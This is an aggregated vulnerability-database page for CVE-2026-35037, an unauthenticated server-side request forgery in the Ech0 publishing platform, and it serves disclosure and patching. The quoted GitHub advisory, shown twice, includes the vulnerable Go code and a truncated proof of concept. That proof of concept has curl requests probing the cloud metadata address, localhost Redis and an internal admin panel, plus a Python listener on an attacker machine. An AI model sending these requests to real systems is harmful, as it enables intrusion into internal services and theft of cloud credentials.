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CVE-2026-35037

Ech0 affected by unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

7.2 HighPublic exploitFix available

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.62%Up 0.6 points since Apr 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.2

Ech0 affected by unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

Record
CVE-2026-35037
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-19378 7.2

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

Record
EUVD-2026-19378
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-cqgf-f4x7-g6wc 7.2

Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Summary

The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.

Details

The vulnerability exists in the interaction between four components:

1. Route registration — no authentication (internal/router/common.go:11):

appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())

The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).

2. Handler — no input validation (internal/handler/common/common.go:106-127):

func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        var dto commonModel.GetWebsiteTitleDto
        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
        ...
    })
}

The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.

3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125):

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)
    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    ...
}

TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.

4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84):

client := &http.Client{
    Timeout: clientTimeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    },
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)

The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.

The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.

PoC

Step 1: Probe cloud metadata endpoint (AWS)

curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'

If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.

Step 2: Probe internal localhost services

curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'

Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.

Step 3: Exfiltrate data from internal web services with HTML title tags

curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'

If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.

Step 4: Confirm with a controlled external server

# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','text/html')
        self.end_headers()
        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &

# From any client:
curl -s…
Record
GHSA-cqgf-f4x7-g6wc
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 7.2

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

Record
CVE-2026-35037
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 7.2

Ech0 affected by unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Ech0 is an open-source, self-hosted publishing platform for personal idea sharing. Prior to 4.2.8, the GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction This vulnerability is fixed in 4.2.8.

Record
CVE-2026-35037
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-cqgf-f4x7-g6wc 7.2

Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata

Summary

The GET /api/website/title endpoint accepts an arbitrary URL via the website_url query parameter and makes a server-side HTTP request to it without any validation of the target host or IP address. The endpoint requires no authentication. An attacker can use this to reach internal network services, cloud metadata endpoints (169.254.169.254), and localhost-bound services, with partial response data exfiltrated via the HTML <title> tag extraction.

Details

The vulnerability exists in the interaction between four components:

1. Route registration — no authentication (internal/router/common.go:11):

appRouterGroup.PublicRouterGroup.GET("/website/title", h.CommonHandler.GetWebsiteTitle())

The PublicRouterGroup is created at internal/router/router.go:34 as r.Group("/api") with no auth middleware attached (unlike AuthRouterGroup which uses JWTAuthMiddleware).

2. Handler — no input validation (internal/handler/common/common.go:106-127):

func (commonHandler *CommonHandler) GetWebsiteTitle() gin.HandlerFunc {
    return res.Execute(func(ctx *gin.Context) res.Response {
        var dto commonModel.GetWebsiteTitleDto
        if err := ctx.ShouldBindQuery(&dto); err != nil { ... }
        title, err := commonHandler.commonService.GetWebsiteTitle(dto.WebSiteURL)
        ...
    })
}

The DTO (internal/model/common/common_dto.go:155-156) only enforces binding:"required" — no URL scheme or host validation.

3. Service — TrimURL is cosmetic (internal/service/common/common.go:122-125):

func (s *CommonService) GetWebsiteTitle(websiteURL string) (string, error) {
    websiteURL = httpUtil.TrimURL(websiteURL)
    body, err := httpUtil.SendRequest(websiteURL, "GET", httpUtil.Header{}, 10*time.Second)
    ...
}

TrimURL (internal/util/http/http.go:16-26) only calls TrimSpace, TrimPrefix("/"), and TrimSuffix("/"). No SSRF protections.

4. HTTP client — unrestricted outbound request (internal/util/http/http.go:53-84):

client := &http.Client{
    Timeout: clientTimeout,
    Transport: &http.Transport{
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    },
}
req, err := http.NewRequest(method, url, nil)
...
resp, err := client.Do(req)

The client follows redirects (Go default), skips TLS verification, and has no restrictions on target IP ranges.

The response body is parsed for <title> tags and the extracted title is returned to the attacker, providing a data exfiltration channel for any response containing HTML title elements.

PoC

Step 1: Probe cloud metadata endpoint (AWS)

curl -s 'http://localhost:8080/api/website/title?website_url=http://169.254.169.254/latest/meta-data/'

If the Ech0 instance runs on AWS EC2, the server will make a request to the instance metadata service. While the metadata response is not HTML, this confirms network reachability.

Step 2: Probe internal localhost services

curl -s 'http://localhost:8080/api/website/title?website_url=http://127.0.0.1:6379/'

Probes for Redis on localhost. Connection success/failure and error messages reveal internal service topology.

Step 3: Exfiltrate data from internal web services with HTML title tags

curl -s 'http://localhost:8080/api/website/title?website_url=http://internal-admin-panel.local/'

If the internal service returns an HTML page with a <title> tag, its content is returned to the attacker.

Step 4: Confirm with a controlled external server

# On attacker machine:
python3 -c "from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','text/html')
        self.end_headers()
        self.wfile.write(b'<html><head><title>SSRF-CONFIRMED</title></head></html>')
HTTPServer(('0.0.0.0',9999),H).serve_forever()" &

# From any client:
curl -s…
Record
GHSA-cqgf-f4x7-g6wc
CVSS 3.1
7.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGO-2026-5331 No score

Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata in github.com/lin-snow/ech0

Ech0: Unauthenticated SSRF in GetWebsiteTitle allows access to internal services and cloud metadata in github.com/lin-snow/ech0

Record
GO-2026-5331
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/lin-snow/ech0
Go
 before 1.4.8-0.20260401031029-4ca56fea5ba4
1.4.8-0.20260401031029-4ca56fea5ba4
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubfineman999/POC_CVE-2026-350372026-05-20
NucleiEch0 < 4.2.8 - Server-Side Request Forgery

History

History
RecordedChangedSources
affected, exploits, facts
first indexedCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-35037 is a high vulnerability (CVSS 7.2) in Ech0, published April 3, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.62%, the 49th percentile. Fixed in github.com/lin-snow/ech0 1.4.8-0.20260401031029-4ca56fea5ba4.

References

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